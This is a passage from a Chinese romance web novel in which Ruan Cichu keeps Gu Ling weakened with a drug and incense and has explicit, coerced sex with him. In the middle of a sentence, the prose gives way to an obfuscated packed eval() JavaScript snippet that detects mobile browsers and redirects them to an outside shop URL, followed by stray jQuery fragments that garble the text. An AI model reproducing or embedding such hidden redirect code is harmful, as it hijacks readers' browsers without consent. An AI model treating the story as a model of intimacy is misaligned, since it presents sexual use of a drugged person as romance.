那股力道不轻不重,骨节分明的手就那么不紧不松地箍着她。
阮辞初仰起头眨了眨眼,将脸凑近了些,面上带上一丝笑:“有雪?那你帮我拂了去便是。”
话语间仿佛她刚刚那瞬间的怔愣只是一晃而过,很快就消失殆尽了。
整个京城谁不知道她在追顾泠,轩辕月也曾问过就如此喜欢?甚至想过直接赐婚,但阮辞初拒绝了。
喜欢?她不知道什么是喜欢。
但是惦记他身子是真的,比真金还真。
可惜这厮床榻上也不甚配合,平日里更是能避则避。眼下他难得主动了,她岂能白白浪费。
顾泠低头看她,睫毛微微颤动了一下,大约是没料到她如此顺势就黏了上来。
迟疑了会,他的手缓缓抬起,定在离阮辞初发梢处便不动了。
“快点,很冷的。”阮辞初笑吟吟地催促一句,面上是惯有的灵动,带了些调戏的意味。
可没等来,她看着那只手明明距离自己那么近,又缓缓地一寸寸收了回去。
顾泠面色恢复了冷淡,缓缓挥去自己肩头的雪水,收手拢回袖中道:“阮姑娘自己拂吧,手凉,怕冰着你。”
阮辞初的动作微顿,随后笑了。
“好一个手凉,你方才抓我手的时候,可还是温热的呢。”她转身朝阮府的方向走,边走边抬手到发间,直接拔了发簪,霎时间,一头秀发散在肩头。
“小姐!不可!”丫鬟惊呼一声,“这有失礼仪……”
“不愧是我爹那边的丫鬟,”阮辞初瘪瘪嘴,随意地揉过头发后甩开,发丝在空中一荡又回到原位,“啰嗦。”
顾泠落了几个身位站在原地,看着前方的背影。
那道背影俏丽又潇洒,仿佛天下所有事都无法进入心底。
况且阮辞初长得好看,只是这性子让京中所有男子都望而却步。
顾泠从前倒不是因为这个避着她,他只是不喜有人靠近。
而刚刚她离得很近,掌心里仿佛还残留着她的温度,靠得近了,那股香味也仿佛沾染在了身上。而先前他最厌烦的这股梨花香,在冰天雪地中竟多出一丝与众不同的清冽。
她方才那副轻挑又混不吝的模样,让他想起了很多很多。
而那豆腐坊里的那丝温柔……定是他的错觉。
她大约是又觉得找到什么好玩的事了。
本性如此。
不可轻信。
前方阮辞初的背影已经缩得很小了,走了有一段距离了,也没回头也没等,像是根本不在意,亦或者说确信她已然觉得吃定了他,不怕他跑。
顾泠抿紧唇,抬脚跟了上去。他保持着不远不近的距离,一步一步避开雪地里她的脚印往前走。
*
阮府。
桌子上的锦盒还在原处,阮辞初自顾自走到一边坐下,拿起茶壶仰头直接倒着喝茶。
茶是温温的,入口清苦。
她大口地咽下去,将茶壶重重放下,凉凉地瞥一眼又站在极远处的顾泠。
可恶。
都怪她之前自己也走神了,错过了机会。
但比起这个,更恼人的是这人又离得远了,又像从前那样疏远地拒绝。
她最烦这个。
空气中的梨花香有些淡了,里面的药性也跟着淡。
阮辞初没留意,只是自顾自地沉浸在自己的思绪里。
她不管。
她想要的,必须得到。
还没玩够呢,怎么能允许他缩回去。
顾泠总是疏冷的,可身体却是暖的,好暖,她有时候总想将手脚都蹭进他怀里,但是他不许。
明明什么都做了,可就是有一种差了一大截的感觉。
阮辞初心想,大约还是她想复杂了。
还是做得少了,所谓日久生情。
想到这,她慢悠悠地开口:
“顾泠,过来。”
-
伏在案上时,顾泠眼神涣散,视线中只有一抹模模糊糊的将军印。
衣服汗透了,湿得全黏成一片,汗水顺着脸颊往下落,滑进雪白的里衣消失不见,只隐约让那薄如无物的料子更增几分透明。
他拼命抬起头,目光避开印上那缺了一角的定南二字。
门是二人宽的,稍稍抬起些就能看见,那宽口的框上雕满了海棠,在晃。
纹路晃起来的时候,他只觉那缠绕在一起的枝格外的刺眼。
若是有人路过……
这明晃晃敞开的大门,什么也挡不住。
脖颈上传来压力,逼迫着他往桌面上看,那印上刺目的红泥散着麝香的气味。
“不许抬头。”
她的声音近在耳畔,微微压低的声音,带着些女子独有的柔。
顾泠闷哼一声,双手忍不住抓了一下桌面,指甲狠狠抠进木头里去,就是不肯去碰一下那将军印。
上半身被衣服裹得严实,被汗浸透了更捂人,闷的,热的。
很热。
偏有不该凉快的在凉快。
他知自己此刻狼狈极了,咬紧牙关不肯发出一声,只有些控制不住的吟从喉间挤出来。
旁边水桶里的热水,溢出来一点。
太满了。
“那妇人上回说,这珠串得如何用来着。”阮辞初明知故问。
“不……知。”顾泠猛地吸一口气,一点点转头看向桌面上其他的地方。
梨木笔架上摆了一排毛笔,狼毫毛根根分明,此时正在整齐有序地荡悠着。
“不知?”阮辞初低低地笑,声音凑近,甜中带着些许故意,“可上回,分明我们是一块儿听人家介绍的呀。”
顾泠没说话,所有的心神都跟着毛笔一颠一颠的。
啪嗒一声,一支毛笔落地滚了一圈。
他猛地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941575|213777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仰起了头,喉结狠狠滚动几下,纤长的脖颈上,汗水在烛灯下亮透了,而后颗颗滚落在桌案上。
视线彻底模糊成了一片。
滚烫的东西从眼睛滑落,泪水和汗水混在了一块。
他被她弄成了这个自己都不愿意承认的样子。
无论来多少次,都很难适应。
……
浑身酸软得不像自己的,顾泠进入浴桶的时候,水果真满到涌出来扑了一地,但暖意融融的温度还是弥补了那一点涩意。
顾泠沉入水中,呼吸还没有完全平稳下来。
阮辞初在旁边活动着手腕,自顾自嘟囔了一句什么,没听清。
雾气往上卷着,把浴桶和周围的空间隔成了两个世界。
顾泠垂下眸,在想一件事情。
从什么时候开始的,那股压制四肢的酸软已经不再是软骨散的作用了。
好像是从今天出门的时候,她拽着他踩过雪地,脚步没有以往那么沉重,身体也不再是那种笨拙的、被药性影响的迟钝了。
那时候他就知道了。
一幕幕画面从眼前闪过的时候,顾泠闭上了眼睛,把这些画面通通都掐断了。
他隔着热气看向阮辞初,又一点点移动到香炉上。
“看我做什么?”她很敏锐地察觉到了,转身走来,整个人趴在浴桶边沿,下巴搁在木沿上,“你为何总是拒绝我?我方才瞧着你也挺舒服的。”
顾泠身体微僵,从牙缝中挤出几个字来:“……没有。”
太傅这样的守礼之人,哪怕是礼部尚书都不如太傅一人礼全,究竟是如何教导出一个如此离经叛道的阮辞初的。
“行吧。”阮辞初歪着头,开始说着剩下没用过的器具什么时候用。
他应该觉得恶心的。
他……
顾泠不让自己继续想下去,直接开口打断了阮辞初的自言自语。
“阮辞初。”
她的动作停了一下:“嗯?”
“软骨散失效了。”
阮辞初正准备探入水中的手一顿,笑容反而扩大了些许,她看向他,盯着。
雾气缠在他湿透的长发上,又黏在他湿漉漉的睫毛上,衬得乌眸也跟着水润了起来。
小水汽压得低低的,密密地挂在脸上,配着此刻被折腾出来的薄红……
只可意会。
阮辞初回过神,接着话问道:“多久了?”
顾泠没回避她的视线,淡声道:“今日出门时便已知晓。”
“哦。”阮辞初的手指在水面上打着圈圈,笑意吟吟的,像是发现了什么好玩的、有趣的事物。
那双杏眸本是圆润又无害的,可笑得弯起来的时候却像个小狐狸,长长的睫毛扑簌一下,又扑簌一下,狡黠得很。
顾泠别开脸,看向紧闭的大门。
下一刻,她的声音响起:“那你方才怎么不跑?”